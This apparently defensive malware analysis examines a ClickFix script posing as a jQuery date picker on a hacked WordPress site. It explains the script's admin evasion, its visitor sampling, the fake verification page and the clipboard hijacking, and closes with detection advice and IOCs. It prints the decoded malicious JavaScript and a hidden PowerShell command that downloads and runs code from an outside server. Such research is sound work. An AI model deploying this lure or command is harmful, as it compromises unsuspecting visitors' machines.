Website malware that uses the visitor as the exploit has become very popular. This sample was found as a file named airdatepicker.js (a real jQuery date picker library) on an infected WordPress site. Nothing in it is a date picker. The whole 50 KB file is obfuscated with the usual _0x string-array obfuscation.

Its job is to replace the website with a fake security check that walks the visitor through running a PowerShell command on their own computer. This technique is commonly referred to as ClickFix.

Deobfuscation#

The file uses the standard obfuscator[.]io layout: a string array, a rotation IIFE that shuffles it, and a decoder function _0xe52e(). After resolving the strings, the configuration block at the top of the script becomes readable:

const STRING_TO_COPY = "cmd /c powershell -W Hidden -e aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwA5ADEALgAyADAANgAuADEANwA4AC4AMQAyADAAOgA1ADAAMAAxAC8AZwBlAHQAXwB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAQQBSAFMASQBOAEcAKQAuAEMAbwBuAHQAZQBuAHQA",
      storageLocked = '6JcfUyj4qL78ztj9un4es2UcgtvPakqs',
      CHANCE = 0xf,
      NEW_SITE_HTML = "PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiIgY2xhc3M9ImgtMTAw...";

The -e argument is base64 encoded UTF-16LE, which is how PowerShell expects encoded commands:

iex (iwr hxxp://91[.]206[.]178[.]120:5001/get_txt -UseBasicPARSING).Content

iwr (Invoke-WebRequest) downloads the response from 91[.]206[.]178[.]120:5001/get_txt, and iex (Invoke-Expression) runs it. The -W Hidden flag means no PowerShell window is ever shown.

Who Gets Targeted#

The main function decides who sees the fake page:

function isAdmin() {
    return document.cookie.includes("wordpress_logged_in");
}

function main() {
    if (isAdmin()) return console.log('JQuery loaded');
    if (getWithExpiry(storageLocked)) return changeView();
    const _0x3ea3d6 = Math.floor(Math.random() * 0x64);
    console.log(_0x3ea3d6);
    if (_0x3ea3d6 < CHANCE) return setWithExpiry(storageLocked, !![], 0x14 * 0x3c * 0x3e8), changeView();
}
main();
  • Logged-in WordPress users are skipped. If the wordpress_logged_in cookie exists, the script only logs JQuery loaded to the console. The site owner checking their own site never sees anything wrong.
  • Only 15% of visitors (CHANCE = 0xf) are shown the lure. Random sampling makes the problem hard to reproduce. Customers complain, and the owner loads the site and everything looks fine.
  • Once a visitor is chosen, a localStorage key 6JcfUyj4qL78ztj9un4es2UcgtvPakqs locks them in for 20 minutes (0x14 * 0x3c * 0x3e8 ms). Refreshing the page won’t make the lure go away.

The Lure#

changeView() decodes NEW_SITE_HTML and replaces the entire page with it:

function changeView() {
    const _0xa0a3f2 = atob(NEW_SITE_HTML);
    document.querySelector('html').innerHTML = _0xa0a3f2;
    ...

The new page is titled “Suspicious IP Address” and gives these instructions:

Final Step of Access Update
Ensuring a Secure and Verified Connection

To maintain a stable and secure connection, our system requires a quick
verification step. This is a standard procedure and takes only a few seconds.

  This will open the Run window   Win + R
  This will copy                  Ctrl + V
  This finish                     Enter

In some cases, Windows Defender or your antivirus software may display a
notification. This is expected behavior for new security processes and does
not indicate any issue.

The message preemptively explains away any antivirus warning the victim might get. After the visitor clicks Continue, a “Verification in Progress” modal shows a 20:00 countdown and says to refresh if access isn’t restored, which keeps the victim waiting while the payload runs.

There’s even a link to Microsoft’s real “Windows Commands” documentation at the bottom for added legitimacy.

Clipboard Hijacking on mousemove#

The page never asks the visitor to copy anything. The script does it for them on every mouse movement:

document.addEventListener("mousemove", function() {
    if (!code) return;
    copyToClipboard(code + (" & REM " + Math.floor(Math.random() * 0x9)));
});

copyToClipboard() uses window.clipboardData if available, and otherwise falls back to a hidden <textarea> with document.execCommand("copy"). By the time the visitor presses Win + R and Ctrl + V, the PowerShell command is already on their clipboard.

The added & REM <random digit> is a cmd comment. It doesn’t change what runs, but it makes each copied string slightly different, which helps beat exact-match detections of the clipboard content.

Sloppy Leftovers#

The deobfuscated code has a few mistakes worth noting:

  • fetchCode() calls fetch(CODE_URL), but CODE_URL is never defined. It looks like an earlier version pulled the command from a remote URL before it was hardcoded.
  • The countdown timer has a stray Cyrillic character in it when it reaches zero:
if (_0x1692e4 <= 0x0) { clearInterval(_0x2a409d), _0x25d085.textContent = '00:00', _0x4a86db(), я; return; }

я is undefined, so the timer throws a ReferenceError when the countdown ends. That likely points to a Russian-language keyboard layout during development.

Detection & Cleanup#

  • Search JavaScript files for powershell -W Hidden -e, wordpress_logged_in combined with Math.random, and very large base64 strings starting with PCFET0NUWVBFIGh0bWw (<!DOCTYPE html).
  • Compare “library” files such as airdatepicker.js against the original from the plugin or theme. A minified library that’s all _0x obfuscation isn’t the real thing.
  • Testing while logged out is required. Use a private window, and expect to reload many times or clear localStorage because of the 15% chance.
  • Anyone who followed the instructions on the fake page should treat their Windows machine as compromised.

IOCs#

hxxp://91[.]206[.]178[.]120:5001/get_txt
cmd /c powershell -W Hidden -e aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwA5ADEALgAyADAANgAuADEANwA4AC4AMQAyADAAOgA1ADAAMAAxAC8AZwBlAHQAXwB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAQQBSAFMASQBOAEcAKQAuAEMAbwBuAHQAZQBuAHQA
localStorage: 6JcfUyj4qL78ztj9un4es2UcgtvPakqs, timerEndTime
<title>Suspicious IP Address</title>

Sample#

The original file is one 50 KB line of obfuscated code. Below is the version with the obfuscated strings resolved; the base64 lure HTML is truncated.

airdatepicker.js (strings decoded)
'use strict';
const _0x522113=_0xe52e;
(function(_0x55fce5,_0x3fdaef){const _0x2c0a6c=_0xe52e,_0x23182a=_0x55fce5();
while(!![]){try{const _0x11fe9d=-parseInt("884509dzawLB")/0x1+parseInt("894080KTqbfD")/0x2+-parseInt("1519356PhMcDA")/0x3+-parseInt("351428keAcli")/0x4+-parseInt("2973890ooMtng")/0x5*(-parseInt("6CHYmjv")/0x6)+-parseInt("308497gjICGj")/0x7*(parseInt("104MNYSBE")/0x8)+parseInt("18SFkbUe")/0x9*(parseInt("8316410sCcgYp")/0xa);
if(_0x11fe9d===_0x3fdaef)break;
else _0x23182a['push'](_0x23182a['shift']());
}catch(_0x176cc9){_0x23182a['push'](_0x23182a['shift']());
}}}(_0x56b6,0x9f82f));
function _0x56b6(){/* string array removed */}const STRING_TO_COPY="cmd /c powershell -W Hidden -e aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwA5ADEALgAyADAANgAuADEANwA4AC4AMQAyADAAOgA1ADAAMAAxAC8AZwBlAHQAXwB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAQQBSAFMASQBOAEcAKQAuAEMAbwBuAHQAZQBuAHQA",storageLocked='6JcfUyj4qL78ztj9un4es2UcgtvPakqs',CHANCE=0xf,NEW_SITE_HTML="PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiIgY2xhc3M9ImgtMTAw...[len 44708]";
let code=STRING_TO_COPY;
function setWithExpiry(_0x527e74,_0x5cc586,_0xf80a9){const _0x8f4aa0=_0x522113,_0x36f1f9=new Date(),_0x5d8633={'value':_0x5cc586,'expiry':_0x36f1f9.getTime()+_0xf80a9};
localStorage.setItem(_0x527e74,JSON.stringify(_0x5d8633));
}function getWithExpiry(_0x50ba2c){const _0x31134b=_0x522113,_0x2180b6=localStorage.getItem(_0x50ba2c);
if(!_0x2180b6)return null;
const _0x57172e=JSON.parse(_0x2180b6),_0x42a6d3=new Date();
if(_0x42a6d3.getTime()>_0x57172e.expiry)return localStorage['removeItem'](_0x50ba2c),null;
return _0x57172e.value;
}async function fetchCode(){const _0x5b1955=_0x522113;
return fetch(CODE_URL).then(_0x435ed7=>_0x435ed7.text());
}function copyToClipboard(_0x22fc97){const _0x2e91bc=_0x522113;
if(window.clipboardData&&window.clipboardData.setData)return window.clipboardData.setData("Text",_0x22fc97);
else{if(document.queryCommandSupported&&document.queryCommandSupported("copy")){var _0xc293ce=document.createElement("textarea");
_0xc293ce.textContent=_0x22fc97,_0xc293ce.style['position']='fixed',document.body.appendChild(_0xc293ce),_0xc293ce.select();
try{return document.execCommand("copy");
}catch(_0x475ecb){console.warn("Copy to clipboard failed.",_0x475ecb);
}finally{document.body['removeChild'](_0xc293ce);
}}}}function showOverlay(){const _0x5e38f0=_0x522113;
document.getElementById("overlay").style['display']='flex';
}function hideOverlay(){const _0x55e534=_0x522113;
document.getElementById("overlay").style.display="none";
}function changeView(){const _0x5a2208=_0x522113,_0xa0a3f2=atob(NEW_SITE_HTML);
document['querySelector']('html')['innerHTML']=_0xa0a3f2;
const _0x5dea36=document['getElementById']('modal'),_0xf3341f=document.getElementById('openModal'),_0x5e3bb3=document['querySelector'](".close"),_0x25d085=document['getElementById']("timer"),_0x50dd91="timerEndTime";
let _0x2a409d;
function _0x3ee4b8(_0x514bdd){const _0x10b910=_0x5a2208;
localStorage.setItem(_0x50dd91,_0x514bdd);
}function _0x21da0f(){const _0x29343a=_0x5a2208;
return localStorage.getItem(_0x50dd91);
}function _0x4a86db(){localStorage['removeItem'](_0x50dd91);
}function _0x1a2f02(_0x1c9cc8){const _0x249756=_0x5a2208,_0x54c532=Math.floor(Date['now']()/0x3e8);
let _0x4237a6=_0x21da0f();
!_0x4237a6?(_0x4237a6=_0x54c532+_0x1c9cc8,_0x3ee4b8(_0x4237a6)):_0x4237a6=parseInt(_0x4237a6,0xa);
function _0x425fb7(){const _0x413d4a=_0x249756,_0x431632=Math.floor(Date.now()/0x3e8);
let _0x1692e4=_0x4237a6-_0x431632;
if(_0x1692e4<=0x0){clearInterval(_0x2a409d),_0x25d085.textContent='00:00',_0x4a86db(),я;
return;
}const _0x28b18c=Math.floor(_0x1692e4/0x3c),_0x48a71c=_0x1692e4%0x3c;
_0x25d085['textContent']=_0x28b18c['toString']()['padStart'](0x2,'0')+':'+_0x48a71c.toString()['padStart'](0x2,'0');
}_0x425fb7(),_0x2a409d=setInterval(_0x425fb7,0x3e8);
}window.onload=function(){_0x1a2f02(0x14*0x3c);
},_0xf3341f.addEventListener("click",()=>{const _0x2f8c80=_0x5a2208;
_0x5dea36.classList.add("show");
}),_0x5e3bb3.addEventListener('click',()=>{const _0x137f60=_0x5a2208;
_0x5dea36['classList'].remove('show');
}),document.addEventListener("mousemove",function(){const _0x3b20dc=_0x5a2208;
if(!code)return;
copyToClipboard(code+(" & REM "+Math.floor(Math.random()*0x9)));
});
}function _0xe52e(_0x4a101a,_0xcd45b9){const _0x56b685=_0x56b6();
return _0xe52e=function(_0xe52efa,_0x406a5b){_0xe52efa=_0xe52efa-0x134;
let _0x2ae134=_0x56b685[_0xe52efa];
return _0x2ae134;
},_0xe52e(_0x4a101a,_0xcd45b9);
}function isAdmin(){const _0x648414=_0x522113;
return document['cookie'].includes("wordpress_logged_in");
}function main(){const _0x2fd13a=_0x522113;
if(isAdmin())return console.log('JQuery\x20loaded');
if(getWithExpiry(storageLocked))return changeView();
const _0x3ea3d6=Math.floor(Math.random()*0x64);
console.log(_0x3ea3d6);
if(_0x3ea3d6<CHANCE)return setWithExpiry(storageLocked,!![],0x14*0x3c*0x3e8),changeView();
}main();